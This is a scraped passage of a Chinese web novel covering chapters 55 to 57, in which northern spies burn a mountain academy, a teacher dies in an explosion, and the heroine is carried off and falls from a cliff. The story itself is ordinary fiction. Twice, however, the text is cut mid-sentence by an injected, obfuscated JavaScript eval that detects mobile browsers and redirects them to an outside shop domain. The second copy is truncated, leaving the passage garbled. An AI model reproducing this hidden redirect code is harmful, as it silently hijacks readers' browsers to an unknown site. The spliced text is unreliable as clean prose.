徐英居高临下的看着这个中了迷药有气无力、又被身后土匪紧紧按住的小丫头,卸下了自己的伪装,用从胸腔涌出来的粗壮嗓音道,“既然被你瞧出身份,我也不再隐瞒,蛰伏中北这些年,我早见过无数同样胸怀异心的中北人,若论阴险狡诈、心狠手辣、见钱眼开,你们中北才是引路之师,但是……” 他突然转了话头,初暒心中一跳,果真听他又说,“要是你们中北全是这些阴险狡诈、心狠手辣、见钱眼开之人多好,这样我北漠便能不费吹灰之力就能得到我们想要的东西,可偏偏……可偏偏……在这深山老林之中,在这破旧书斋之中,这些乳臭未干的小子们在闲谈中竟都有学成报国之念,若是让你们这些人好好的活到学有所成,那我北漠便永无出头之日!” “他娘的!” 二当家破口大骂,“哦!我们中北学子好学有志还有错了!你们北漠想得到想要的东西为何不能学学人家发奋读书好考取个功名,再不济全民勤快点找片地种种也不至于打仗去抢别人辛苦种的粮食啊,欺负这群娃娃算什么好汉!” 北漠荒芜,无法种植粮食作物,要想获得口粮便只能用牛马羊群向中北进贡来换取,可在荒漠马背上肆意惯了的族群如何甘愿向手无缚鸡之力的中北俯首称臣,那群人可是做梦都想鸠占鹊巢呢。 这番昂扬劝解之言从一个土匪口中说出多少还是有点滑稽,徐英嘲讽的笑了笑,初暒眉头微蹙,这时她偏头又看见一个身影举着火把从连廊向此处疾步走来。 “英哥,都准备好了。” “不急,人还没来全呢。” “可是曼陀罗花粉的效力露天撑不了多久。” “那就等到你手中火把的杉树皮烧完吧。”徐英环视一圈无力躺在地上的学生,笑道,“一点火星够用么。” 高子雄将手中瓷瓶随意丢在昏睡在地的土匪身旁,也笑,“自然够用。” 高子雄走进了,初暒才闻到他身上散着的竟满是猛火油的气味! 55. 戏弄 浓浓猛火油的气味萦绕在鼻尖,用脚趾都能猜出这两个北漠人想要做什么,初暒脸色已经煞白,身后的二当家也有些语无伦次。 “你们到底想干什么!这里可是书院,地上躺着的可都还是孩子呢!你们北漠当真丧心病狂至此,连毛都没长齐的孩子都不发放过啊!” 徐英反问,“那威虎寨二当家深夜携众多弟兄来此地是做什么?逮了他们手无寸铁的书生丢做这一堆又想做什么?” 二当家心虚地‘我’了几声,有口难言,徐英又说,“我只是多费些力气,帮帮你们罢了。” 不过是在与安南书院交手这几次失了面子,想绑了为首的女学生回去有个交代,怎的莫名其妙遇上漠匪,还被这些人当做垫脚石给踩了,二当家扫了一眼蜷缩在院里的学生们,一把推开怀里的初暒,费劲站起挥着手中竹刀向他们冲了过去,“甘你女马的!老子跟你拼了!” 见他虚浮的跑来,徐英也不慌张,他一边抬腿踹了二当家一脚,一边朝高子雄扬了扬下巴,高子雄领会后立刻将手中火把凑到方才自己丢在土匪喽啰身旁的瓷瓶跟前,火苗挨着火油,刹那间地上就激起了一片火光。 小喽啰的衣物和火焰混在一处,很快那片炙热的红黄之光中便响起男子迷迷糊糊的惨叫声,这声音惊得中了曼陀罗花粉的人陆续清醒过来,可众人见此情景更加不敢多言动弹。 竹刀被甩在一边,胸口的痛楚总算让二当家回过神来,他捂着伤处躺在地上半天起不来身,初暒看着脚边有勇无谋的汉子,对他低语,“这两人今夜定不会将一个活口放出安南书院,你先冷静一些,莫要再激怒他们了。” 二当家梗着脖子心痛的看着在火中打滚的属下,恨恨道,“你先前连我们土匪都敢杀,怎的今夜见着漠匪却一声不吭,亏我还当你是什么巾帼奇才,不想也只是个不惊吓呼的小丫头片子!” 初暒不理会他的指摘,只问,“徐英问你的话,你为何不答,你们不也想杀了安南书院众人,好为自己的兄弟们报仇么。” “哎呀呀,都这会儿,你还惦记这个做什么?” 二当家心想,到底是女子,就是爱记仇,他一股脑将自己的憋屈已久的牢骚全部倒出,“我们威虎寨在虔来山扎根多年,向来只求财不伤人,这回也是我们寨子里翻垛的觉得,近几月虔来山各山头处处明争暗斗,这几次不光彩的买卖若是被传了出去,便更没有容身之处了,大当家思来想去,还是说冤有头债有主,只用计将诓骗杀人的你骗回去,也算是对寨子有个交代,于是便派我和翻垛的一起出来,我其实也不想为难你们这些读书人的,可又架不住我家翻垛的劝说,本来是咱们中北人之间的恩怨,此时倒遂了北漠人的愿,唉,真是……” 初暒边听他说,边悄悄伸手去摸掉在不远处的竹刀,“与你们寨子里平日与翻垛的交好的人多不多?他平日里可有什么古怪?” 翻垛的是黑话,意思是土匪窝里出谋划策的军师。 二当家没有多想她一个姑娘家为何要问这个,只答,“能有什么古怪,他脑袋瓜聪明,人又和气的很,我瞧着寨子里的人都与他挺交好,不过你不说我还没发现……我记得他有时会和胖冬聚在一起嘀咕,胖冬,就被你杀了那个……” 话说出口,二当家才反应过来,自己身边坐着的才不是什么不惊吓呼的小丫头片子,她手上可是沾过血的。 被活活烧死的土匪小喽啰此时已经没了声响,徐英看着在夜风里忽明忽灭的火把上杉树皮火星,终于有些按捺不住,他早就注意到在一旁嘀嘀咕咕的女子和土匪头子,于是压下心中焦灼,绕过高子雄,向他们走去。 二当家看着初暒迅疾将捏过来的竹刀竖着反握住,用自己手臂遮挡,然后平静的看向漠匪时,心里也不禁赞叹她的临危不惧。 “在聊些什么,说来也让我听听?” “好啊。”初暒语气轻快,背在腰边的手腕却使了暗劲儿,“你凑近些。” 徐英原先只在学生口中听说这丫头聪慧机敏,但并未同她交过手,更没想过眼前这个虚弱无力盘腿依靠在墙边的孩子能奈他何。 安南书院的巡守官差除了这两个假的,其余已经全部丧生,指望有人向山下的官府报信已经不太可能,中了药的学生们此时可能有一部分已经恢复了意识,可高子雄火烧土匪之行,已将他们威慑恐吓住,想联合大家合力制服他们也有些许困难。 那就擒贼先擒王。 他越走越近,初暒注视徐英的同时,余光还瞥了一眼正在院中紧盯学生与土匪喽啰们的高子雄。 脸颊被人猛地捏住,初暒被迫抬头看着面前这个一脸沉醉的北漠匪贼。 徐英轻嗅女孩鬓边碎发的清香,静静等着她手中插向自己脖颈的竹刀,但……比竹刀先砍中他的,是从另一个方向飞来的册籍。 眼角被册籍书角砸中,涌出了汩汩鲜红的血,徐英抬手抹去让脸颊生痒的血流,起身朝一个蹒跚的身影看去,他像是恭候已久似的,恭敬道,“于先生,您可算出现了。” 用力将书砸出去后,于允芳的右手不可控的颤抖着,他在同样没有力气的陈家宝的搀扶下,一步一步走向他们。 从眼睛缝里看到于先生来了,学生们将恐惧抛在脑后,全部面露喜色着从地上慢慢撑在身子坐了起来。 被抛在地上的册籍有几张书页在忽扇起伏,某个树止风静的瞬间,初暒撇到于先生带来的是一本《三十六计》。 初暒缓缓站起来,不解的看他,却只看到于允芳向自己轻轻摇头。 安南书院的人全部到齐了。 徐英不在意于允芳的冷脸,只笑,“子雄,好生招待于先生。” “是!” 高子雄应了声,又呵斥清醒了的学生和土匪们老实点后,预备将于允芳和他身边的小胖子也架到院心时,忽听于允芳骤然开口,道,“莫要再忙活了,老夫只有几句话想问问你。” 徐英挥了挥手,于是高子雄识相的后退两步。 “于先生,您问。” 于允芳轻轻将搀扶自己的陈家宝推开,浑浊的双眼直视徐英,“去年映月关一战,我中北大军只用二千余人便将数十万北漠精兵驱赶出境,你那时身处安南县衙,老夫十分好奇听到此战报时,你作何感想?” 他问的十分平静,徐英却无法回应。 那次战役对于北漠来说,是耻辱. 作为北漠人,他恨中北的蔑视与强大,也对族人有怨言,因而面对于允芳的问询,他不能平静,更不能愤怒。 “你们不是常说‘胜败乃兵家常事’。”徐英扯着嘴角,“物极必反,大兴也是时候了。” 于允芳:“我们还总说‘人贵有自知之明’,也不见你们学去半分,你们这些人装中北人装的像,为何不索性做了中北人,何苦日日步步惊心,夜夜肝胆俱颤?” 徐英嗤笑,意味深长说,“您怎知我们不想做‘中北’人?我们现在不是正在为此铺路么。” “你想做什么?” 徐英环视着安南书院的人与房屋,“今夜过后,虔来山土匪趁夜寻仇杀害驻守官差、将安南书院与其中师生付之一炬的消息就会被传出去,而官府无能与山匪凶狠之言也会如风,吹在晁都每个角落,百姓民心不稳之时,自会有聪明人将各路阴谋揣测出来,哪还用我做什么。” 于允芳叹了口气,“他们还只是孩子,孩子有什么罪过……” “可他们还是中北读书人!他们总会长大,他们是中北的将来,但不是北漠的!” 徐英像是被戳中了什么,于允芳的嘴角几不可查的扬了一下。 “你虽说在中北潜伏数十年,但……仍不了解中北。”于允芳又说,“纵使安南书院众人被土匪屠尽,纵使他们查出幕后黑手是谁,今日之事定不会在晁都掀起风浪,你所言民心不稳,于他们不算什么,毕竟如今的中北,民心不稳也不是一天两天了。” 见徐英眉头骤起,于允芳继续说,“唯一 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一直默不吭声的二当家最先吱哇吼叫,“这个北漠人陷害我们威虎寨也就罢了,你这老头怎的还要将中北的矿山图纸画给他啊!这不是卖国贼行径么!不行不能画!死都不能画,老子宁死不做卖国贼!” 他此番话激的学生连同土匪小喽啰们都在争先喊叫,“于先生,不能给他们画!我宁愿去死啊……” 方才见曼陀罗花粉药劲儿快过了,高子雄已用麻绳将土匪喽啰与学生们分别捆做两捆,此时见他们聒噪,便抬脚各踹了他们一脚,低吼,“都闭嘴。” 被踹的倒作一团的学生们有的呜呜哭了起来,有的却偷偷看向从始至终沉默不语的初暒。 于允芳前几日在为邱阳奔波,两人或许见过,要说他见过图纸,能将其临摹下来也算可信,但邱阳被抓后,图纸必定会成为证据报上去,于先生是在谁手中看到的呢,可要是他没有见过,那此举是为了…… 初暒紧抿着唇,她不知于先生要做什么,心里一直惴惴不安。 这时,徐英笑了,“您瞧,今日我若放了这些孩子,那他日心中有恨意的读书人,我们就更惹不起了。” 于允芳也不松口,“我就只有这一个条件,若你不允,便将我们与图纸一起焚了吧。” 思忖片刻,徐英问,“倘若你真有图纸,我也并不能辨其真假,这样如何,我们各退一步,你将图纸交出来,我便将书院中女子全部放了,如何?” 女子不能入仕,放了也就放了。 于允芳知晓徐英心之所想,嘲讽一笑后,背手缓步走进讲经堂前深深看了眼一直注视着自己的那个小丫头,才说,“此处有纸笔,随我来吧。” 徐英想了想,正准备跟进去,却被高子雄拦住,“英哥,小心有诈!” “一个老汉而已。”徐英顿了一瞬,又说,“倘若我真中计,那外面这些人就全交给你了,莫要留下一个活口。” “是!” 这话像是故意让众人听的,徐英前脚刚进去,高子雄后脚就提了一桶火油将土匪喽啰与学生们浇了个透,他换了把缠满杉树皮的火把,一边密切关注着讲经堂内,一边在人堆旁徘徊。 为了避匪,学生们有时会住在讲经堂内,这里的书桌案几全都堆在角落,堂内铺满了学生休息的草席与蒲团,徐英踢开脚边挡路的几个头枕,站在堂下看着于允芳坐在案几前拂袖作图。 北漠人自小都是在马背上长大的,小孩子们只在打过仗的士兵口中听说过中北少年们读书的地方叫做学堂,徐英在安南书院驻守时多在外围巡逻鲜少进来,此时看什么都觉稀奇。 徐英打量了此处许久仍不见于允芳画毕,心中起疑便上前扯过他按着的图纸,当纸张展开手中时,徐英心中的怒火便直直涌到了脑门,他将手中纸页砸在地上,破口大骂—— “你这老匹夫当真敢戏弄我!” 56. 掳走 “你这老匹夫当真敢戏弄我!外面这些人的性命你都不顾了么!” 于允芳不理会他,只念出纸上七个大字—— “多行不义,必自毙!” 徐英咬牙就要冲来捏他的喉咙,却见于允芳仍旧稳坐不动,他抬手轻轻扭动案几上的砚台,讲经堂内刹那间便掉落一张铁网,铁网将徐英整个罩住,任他如何踢打掰扯就不能撼动。 讲经堂内忽然传出动静,高子雄刚扭过头去看,初暒与二当家先使了个眼色,两人迅速挣脱麻绳,二当家趁其不备从后固住他的腰身,初暒见状立刻夺走他手中火把,转身时又顺便将竹刀在他喉间抹了一把。 解决完外面这个,初暒嘱咐大家立刻将沾了火油的衣裳脱下就近挖坑深埋,她自己则褪去外衫径直向将讲堂跑去。 堂内铁网坚不可摧,徐英原先看过这老汉给王羌曹的书院机关图纸,却没想到他居然藏私,交出去的图纸并不完整,这书院内里竟还处处设有机关! 知道自己出不去了,徐英也不再挣扎,他垂眸冷笑,抬手扯开自己的衣领,露出缠在腰间的土色布包,“过年时,我曾与族人大量采购过硫磺、硝石还有木炭,没成想这些东西这么快就排上了用场。” 门外像是有人影在附身晃动,于允芳知道初暒已经脱离困境,大喊,“徐英身上有火药!眠眠,快带众人离开此处!” 初暒耳贴在门边听到这声喊叫大惊失色,她顾不得许多拍打着大门喊道,“徐英,你如今什么功都没有立下,对得起你们北漠的苦心栽培么!不要冲动,留着性命才好继续与中北作对……” 门框的敲打声不停,徐英倒像是听不到似的又从身上摸出一根火折子,他吹出火星后,笑道,“老头!我虽然不晓得你的真实身份,但总觉得将你带走估摸也算是大功一件。” 眼看他将火折子徐徐靠近腰间,于允芳朝门大喊,“快跑!” 于允芳的声音不容置喙,初暒咬牙停手,转身指引着学生与土匪们附身抱头迅速撤离此处。 门外的敲打声戛然而止,于允芳终于放下心来,他坦然道,“方才你小瞧的姑娘会带着安南书院所有学生离开此处,你的担忧还是狭隘,我中北学子无论男女都值得尔等匪贼寝食难安,今日同你一起去阎王殿报道的,除了外头你那位族人就只有老夫,你莫要觉得憋屈,毕竟待你死后,待我的学生们长大后,你们北漠一定还会更憋屈。” 女马的,就说最烦这些读书人,骨头硬也就罢了,嘴巴还这般毒辣,不杀他们,自己气不过,杀了他们,他们打心底也还是不服。 徐英不愿再听这老汉啰嗦絮叨,气冲冲地低头将手中火折子吹出火苗,缓缓靠近腰间布包…… 有学生不知晓火药威力也担心夫子安危固执的不愿离开,被初暒和二当家连拽带踹的撵走,人群开始挪动后,露出了拖着受伤脚腕的赵芊芊,初暒见她行动不便,立刻返回去意欲弯腰将她背起,可初暒刚触上赵芊芊臂膀,身后便‘轰隆’一声发出巨响。 将讲堂的支柱断了。 房梁与四面围墙也顺势倒塌,屹立了数十年的房屋在顷刻间化作一摊废墟。 高子雄先前在书院内外泼洒了许多火油,火药爆炸后火油借着火花噗轰着一跃而起,赵芊芊推开压着自己的初暒挣扎起身后,看到的便是这满目的冲天火光。 “眠眠!眠眠!” 爆炸声响起那瞬,赵芊芊还不知发生了什么,只记得是初暒一把扑倒她整个人将自己护在身下。 她毫发无伤,可初暒的额头脸颊满是血迹,呼唤了许多声仍不见清醒。 赵芊芊喊不醒初暒,也起不了身,急的嚎啕大哭时,忽听耳边似乎有声呓语—— “于先生……” “眠眠!你醒了!” 耳边有女孩的呼喊与啼哭声,也有灼热红光吞噬木料的爆裂与呼啸声,初暒挣开已被污血糊住的眼睛用手肘撑着自己的身体用力坐起。 刚离开讲经堂内院的学生们听到这声巨响后也不惧怕带着自己出逃的土匪们了,纷纷掉头撒腿就往回跑,苟旦与栗铜率先回来后一眼就看见满脸是血的初暒挣脱赵芊芊的拉扯,不管不顾的往火场冲去,他俩连跑带扑的跑过去将她左右钳住。 “放开我!于先生还在里面!” 苟旦死死按住初暒肩膀,带着哭腔,“火那么大,屋子都塌了,屋子都塌了……” 初暒:“对,快去灭火,我们动作快点兴许还能带先生出来呢……快啊……” 栗铜抱着她的腰含泪看着炼狱一般的熊熊火场,不知如何应声。 二当家带人回来时,看到此景也知那位夫子已经遭遇不测,他正要上前强行带走不愿撤离的学生,忽听从后院传来一阵急促马蹄声。 脚下的震动逐渐明显,那马蹄声初暒也听到了。 于先生砸在地上的册籍已经被慌张往来的人踢散踩烂,封皮连同扉页也在人们的脚底不见踪迹,初暒定定看着那册残本《三十六计》现存首页上赫然写着的四个大字—— ‘瞒天过海’。 疾驰的马蹄声恍若近在耳边,当策马那人出现在视线里时,二当家眼中最先露出欣喜之色。 ‘咚!啪!’ 一道信号花倏地绽放在夜空之中。 苟旦惊讶问,“官差们不是都死了么,怎么还有人在放信号?” 初暒看清从后院策马奔来的人后,眼中闪过一丝狠意,用力将拽着她的苟旦与栗铜往身后一推,低语,“这信号花开在崇义斋上方,就是说吴夫子还活着,待会儿你们无论看见什么都不要惊慌,找到吴夫子后护着咱们的同窗躲好小心等官差们上来,赵芊芊脚还痛着,你们多关照她。” 不管初暒在说什么苟旦都用力点头,栗铜却问,“那你呢!” 初暒迎着直冲自己而来那人走去,冷语,“我去除另一个祸害。” 二当家看到自家兄弟赶来,激动地喜不自胜,他跑去想要迎他下马,却见那位兄弟临近人群却并不勒马止步,反而一手紧握缰绳,半身悬在空中附身张开手臂,任由马儿径直朝他身前的小丫头冲去。 骏马疾驰而来,稍有不慎便会成为马下亡魂,聚在院中的人下意识躲开,唯有初暒静静立在院心,犹如一朵在嗜血晚霞中盛开的蒲公英。 “瘦猴,你要做什么!快停下!” 瘦猴策马不停,初暒也立在原地不躲,眼看马蹄就要从她身上踏过,二当家高声提醒的话音才落,就见瘦猴一把拦住初暒的腰将她锢在马背上后,调转马头顷刻就走。 见状不对,二当家忽然记起那姑娘曾问过他,‘寨子里平日与瘦猴交好的人多不多?他平日里可有什么古怪?’ 直到此时他才发现,这瘦猴确实古怪,与他交好的胖冬死了,他便要整个安南书院的学生去陪葬,可一个小姑娘好端端为何要杀了一个土匪,左不过是为了自保罢了。 二当家越想越觉得瘦猴恐有蹊跷,于是抽出自己的腰带挽了栓马结,边追上去,边将绳结往瘦猴身上套,“瘦猴!放了她!你跟一个小姑娘置什么气……” 在身后乱飞的绳结实在碍事,瘦猴伸手往后一甩,从袖管中窜出的暗镖便瞬间卡在了二当家的脑门中。 这一切发生的太快,为了躲避疾驰骏马而退开的学生们还没反应过来初暒已被掳走,就又见方才还活蹦乱跳的土匪头子不知怎的忽然噤声倒在地上。 不知是谁最先尖叫出声,大喊,“啊!眠眠叫他掳走了!” 从人堆里挤出来的陈家宝看着另一个土匪带着初暒策马越跑越远,他拍了苟旦一巴掌说,“先别慌,方才眠眠交代你什么了,你们快去准备,我去找她!” 他说完就拖着自己肥胖的身体快速往东门跑,苟旦终于在慌张中冷静下来,扯着栗铜结结巴巴问,“你家……你家的马儿还在东门拴着吧!” 栗铜:“在!一直在!” 苟旦点点头,“那就好,眠眠刚说吴夫子在崇义斋,咱俩……咱俩带着大家一起过去,还有芊芊,我来背着她……” 栗铜也不多说,看到赵芊芊后直接拦腰将她抱起。 土匪喽啰们没了老大,像群无头苍蝇似的,转来转去最后也还是闷头跟着这群学生往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888105|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崇义斋去了。 吞噬了讲经堂的火很快就蔓延到了院中那棵参天桐树上。 不久后,树倒了,吸收树根养分的蒲公英也在树倒下时扬起的风中四散飞了。 夜色之中,同样在风中飞散的还有驰骋骏马的黑色鬃毛。 瘦猴将初暒死死按在马背上,他任由马儿在崎岖山路奔跑跳跃,让那凸起的马鞍前沿不停震击着她的腰腹。 初暒的腹部被硬物硌的生疼,胃里的东西也像是在云海翻腾,她趴在马背上使不出丝毫的力气,只能眯着眼仔细辨认他们的行进方向。 圆月明亮皎洁,山中满是交横错杂的白色光柱,初暒借着月光瞥见了熟悉的树林山石,她认出路过这处好像他们绑了陈家宝与栗铜的地方。 他要带我去虔来山? 若真是虔来山,那这附近不是有…… 初暒伏在马背,趁着马身颠簸,扭头悄悄从瘦猴腰侧往后探看,越看越觉得自己猜测的不错,她心中有了主意,刚要思忖如何着手,余光又瞧见后头似乎有道影子在远远跟着他们。 距离太远,她也无法定睛辨认,但只看马术与驭马之人的身形…… 那是…… 陈家宝? 被马鞍顶的快吐时初暒眼睛都没有眨一下,可认出小胖子那瞬她的眉头倏然蹙了起来。 陈家宝的马术是她教的,前些时日在山里乱窜又让他找到了门道,要是陈家宝铁了心要救自己回去,那么他一定很快便能追上瘦猴。 必须要在陈家宝赶上来之前。 这个念头刚出现,初暒就看到身下马匹贴着一棵繁茂大树跑去,粗壮树枝擦过头顶时,她以迅雷之势俯卧挺身双手紧握树枝借力翻坐在瘦猴身后,她的动作太过迅猛,待瘦猴反应过来时,才发现自己已经被一个小丫头扼住了喉咙。 “你倒是个命硬的,掉进悬崖摔不死、趴着颠了这许久竟还如此生龙活虎,早知道刚掳你上来时,就该将你了结了。” 初暒不说话,她左手掐着瘦猴的脖子,右手开始顺着他的胳膊去摸手中攥着的缰绳。 马儿还在不知疲倦的奔跑,瘦猴梗着脖子握着缰绳的双手却慢慢往另一只手相反的方向缓缓挪动了几寸。 初暒身量再长,也无法单手环住一个成年男子,在她探身往前时,左手有一刹下意识松开了些,就是这一刹那,瘦猴抓住时机腾出一只手将威胁自己性命的魔爪反手扭住,初暒吃痛身子向左歪去,瘦猴为了维持平衡握着缰绳的右手不自觉加重了力道。 眼看偏离路线,瘦猴单手扯着缰绳就要将马首摆回,初暒这时却一把将自己借力时折断的树枝用力插进马臀。 被扎痛的马儿也不管什么缰绳拉扯、“驾”、“驭”之声,只嘶鸣着死命向前狂奔,瘦猴起初还当初暒是在做无谓挣扎,可直到他看见越来越近的悬崖小径时才晓得这疯丫头是故意露出破绽的! 她早知道此处是悬崖,她想和自己同归于尽! 见势不妙,瘦猴就要跳马,可初暒却拼命在身后将他死死抱住,两人在疯跑的马背上厮打纠缠。 插着树枝的马臀忽然喷涌出血。 直到马蹄掌在悬崖边腾空一跃时,瘦猴才瞪着眼睛、扑腾着手脚在失重中撕心裂肺的呼喊。 悬崖边不见马,也不见人。 陈家宝策马赶来后,听到的便只有这声回荡在虔来山谷的凄厉叫喊。 他踩着脚镫下马,却是肩膀先着了地,等连爬带滚的爬到崖边附身查看时,崖底又连那声叫喊也消失的干干净净。 “眠……” 陈家宝张着嘴,但是喊不出声来,他跪在地上想再往崖边探看,奈何浑身已与煮熟的面条无异,他想哭,可扭曲着的脸怎么也哭不出来。 瘫坐在崖边,等第一缕朝阳刺中陈家宝的瞳孔时,他才眯起眼睛偏头躲过,陪伴他许久的栗铜家的马儿走上前来轻轻咬住他的衣角,将他往回扯。 陈家宝转头看到马儿黑而大的眼珠,似乎又想起自己在安南庄第一次如此近距离看到马儿那天。 泪流满脸时,他终于哭出了声。 57. 夜晚 栗家打铁铺子就在安南山脚,栗家老汉开炉烧火时见着一队灰头黑脸的官差捆着数十犯人从山间下来,上前凑热闹时得知这些带人竟全是从安南书院里逮出来的,顿时慌张地连手中拎着的火钳子都来不及放下就往山上跑。 庄上早起做工的汉子们远远瞧见安南县衙门外排排蹲着的铐着手脚链的犯人,不由拄着农具开始聚在一起小声嘀咕。 不消片刻,安南书院昨夜遭虔来山亡命土匪围剿报复,于姓院长为护学子与匪首同归于尽,夫子吴所仕被匪贼重伤后仍拼命放出求救信号,安南县衙县尉王羌曹接信后连夜带兵进山擒贼,次日一早,夜袭书院的威虎寨余孽便已全部落网的消息就一传二、二传十的跑遍了安南山庄的大街小巷。 压着这些嘀咕声直冲天际的,是从陈富户车架里传出来的哭天抢地的嚎叫。 在安南书院读书的学生大多都住在安南山庄,他们家中父母从庄上人嘴里听到自己孩子就读的书院出事的消息与轿子里的哭喊声后,均放下手中的活计前赴后继的奔上了安南山。 于是,山中的鸟兽一波一波被慌乱的脚步与嘈杂的人声惊起,又一波一波藏匿进更深的林子里。 栗家老汉常年立地抡铁,脚力要比寻常庄稼人好一些,他最先凭记忆来到儿子读书的地方,也最先瞧见儿子所在书院炼狱一般的景象。 离得老远,他就闻到了刺鼻呛人的烧焦气息。 走得近了,才瞧见安南书院大门外两棵参天桐树已被烧的黢黑,桐树中间环抱着的大门已经不见踪迹,只有散落堆砌在两旁的卷棚瓦片告诉来人此处便是书院正门。 栗家老汉顾不得惊诧,只喘着粗气闯进去寻找孩子。 没有多费功夫,他刚绕过颤颤巍巍强撑屹立的书院照壁,一打眼就瞧见呆滞抱着腿团坐在一堆的学生们。 “铜儿!” 这声高喊,立时引得众学生皆抬头张望,栗家老汉从没被这许多年轻的目光注视过,一时有些局促,他同手同脚的刚向前走了两步,一个高大的身影便迎面扑进了怀里。 “呜呜呜……爹……” 才被官差们安抚下来的学子陆陆续续看见来书院寻找自己的父母亲人,眼中的泪水与心中的惶恐才真正放了下来,吴所仕一边忍着后颈的疼痛回答王羌曹的问询,一边望着窝在父母怀中哭泣的学生们,既心疼他们受苦,又担忧他们忘了自己方才的叮嘱。 “铜儿,你身上可有伤着?这安南书院到底发生何事了?怎的被烧成这个模样了?” 栗老爹抱着哭的上气不接下气的儿子心疼的在背上替他顺气,栗铜打着哭嗝,抽搭着这从父亲怀里抬起头,只说,“于……于先生为救我们……死了……啊……爹,我一点儿没伤着,可是……于先…于先生死了啊……” “于先生?”栗老爹感同身受的脸上的褶子都扭曲了,他皱眉回想,问,“从前只听你说过吴夫子、邱夫子,这于先生是何人?这书院是读书人的地方,怎的还能遇上烧杀害命的土匪啊?” 解释的话就在嘴边,栗铜余光瞧见吴夫子与王县尉正并将向此处走来,他扑在老爹怀里闷闷摇了摇头。 王羌曹:“威虎寨贼首已遭同党黑手身亡,其部下余孽也已经全部押解下山,吴夫子您和孩子们受苦了,您放心,我的人就是将那讲经堂翻个底朝天也定要将于先生的尸骨找出来。” 吴所仕本就沧桑的脸庞越发苍老了,他佝偻着腰身,拂袖蹭了蹭泛红眼角涌出的泪珠后拱手行礼,沙哑道,“老夫叩谢王县尉了。” “吴夫子这是做什么!快快请起,护佑安南书院本是我等职责所在,可谁知如今却落得这幅光景,我心中已是悔恨愧疚难当,您这声谢岂非在我身上剜刀子啊……” 吴所仕回说,“王县尉安排向来稳妥缜密,只怪那些山匪穷凶极恶,北漠奸细又阴狠狡诈,今日若不是有县尉坐镇善后,我恐怕也难在学生面前支撑下去。” 走过卷棚瓦片堆,王羌曹见此处说话方便,正色问,“吴夫子,昨夜那徐英果真亲口说自己是北漠人?” 该说的,初见时已单独与他交代清楚,王羌曹此时这样问,必是有所怀疑,吴所仕脑中回想学生喊醒他后曾说,是初眠眠识出那个北漠奸细的身份…… 默了片刻,吴所仕颔首,“是他说的。” “徐英在安南县衙当差的年份比我还长,若他真是北漠奸细,那中北的官府衙门可真真是个天大的笑话了。”王羌曹叉腰思忖许久,才说,“吴夫子,事关重大,那贼人所言又恐有扰乱民心之嫌,我须得将详情先呈报上去,在上头有决断之前,还请您莫要宣扬。” 吴所仕:“学生们都晓得昨夜杀人放火的皆是虔来山土匪。” 这便是提前交代过的意思了。 王羌曹感激地点了点头,抱拳道,“吴夫子节哀,我已将一支小队留下寻找于先生遗体,他们随时听候您的差遣,只不过我身有急讯,眼下得尽快回县衙禀报,您便送到这里罢。” 吴所仕拱手答是。 送走王羌曹,吴所仕在外张望许久仍不见有人回来,心口忽然重重跳了两下,下一瞬,远处果不其然响起一阵振山撼林的嚎哭。 “家宝!我的儿……” “我的儿啊……” 贼人在安南书院内外都浇了火油,一处火起,风便将火引到了别处,王羌曹赶来时,火情已呈燎原之势,他顾不得官贼两道,只招呼能动弹的汉子在书院外围挖坑泼土做隔离带,以免大火将这山间林子也燎干净。 大火烧到了晨时,直到烧无可烧才渐渐平息,安南书院四面已无围墙,故而陈富户的哭喊很快就传到了院中学生们耳中。 苟旦与成非受过陈富户的捐粮之恩,听见外面动静时最先跑出来迎他,可陈富户才不管来人是谁,只疾步往里冲,瞪着双眼到处呼喊着陈家宝。 吴所仕看着两个小伙子都拦不住的陈富户,插不上嘴也跟不上腿,踱步在门口进不是、退也不是。 “呀!陈家宝回来了!” 栗铜高大,眼睛也好,他站在照壁旁一眼就瞧见牵着马有些魂不守舍的陈家宝往书院走来,他初见同窗平安归来,心中刚要开始庆幸,转念又觉得不对—— 怎么只有他回来了? 同时想到此处的还有吴所仕。 栗铜从没有看到过自己的老夫子跑的那样利索,只见他摇着那双并不敏捷的双腿疾步奔向陈家宝,揪着他的肩膀着急问着什么,但不等陈家宝开口,吴夫子先被从书院冲出来的陈富户用力扒开,幸有成非眼疾手快才不至于让他跌倒在地、伤上加伤。 “儿啊!” 陈富户将陈家宝浑身上下摸了个遍,没找着一丝伤口才松了口气。 只是围着陈家宝的学生们悬着的心却始终没有放下来,他们都有一个相同的问题,奈何陈家宝行动僵硬、目光呆滞,同窗们皆不忍逼他开口。 “儿啊?别吓唬爹,你这是怎么了?倒是说句话啊!” 陈家宝依旧不吭声,只死死地捏着套着马儿的缰绳,栗铜一根根将他的手指头掰开才牵走马儿,还给栗老爹。 栗老爹:“诶,这马儿怎的这么眼熟,啊!这不是咱家铺子前些日子丢的那匹……呜……” 栗铜捂着老爹的嘴把他扯到人群后边去了,苟旦给他们让完路后终于按捺不住,扯着陈家宝的衣领,焦急问,“你不是跟着去找眠眠了么,眠眠人呢,怎的就你一个人回来了?是不是出事了,你倒是说话啊!” 陈家宝像是丢了魂后被某个诀儿忽的唤醒了,他定定地用脖子带着目光寻到苟旦,哽咽道,“眠眠……土匪、马儿一起坠进虔来山悬崖了,她恐怕已经……” 吴所仕双腿一软,原地晃了个踉跄,扶着他的成非瞳孔倏地放大,一脸的难以置信。 火场余温与盛夏朝阳烘的人浑身是汗,苟旦却觉得自己浑身发冷,他再不似往日那般乖巧有礼,只用自己颤抖的双臂按着陈家宝的肩膀,怒声质问,“你胡说什么!眠眠那么有主意的人,她才不会……” “我亲眼看到的!”陈家宝打断他,好像要把自己胸腔中积压的恐惧与痛心全都宣泄出来,“眠眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 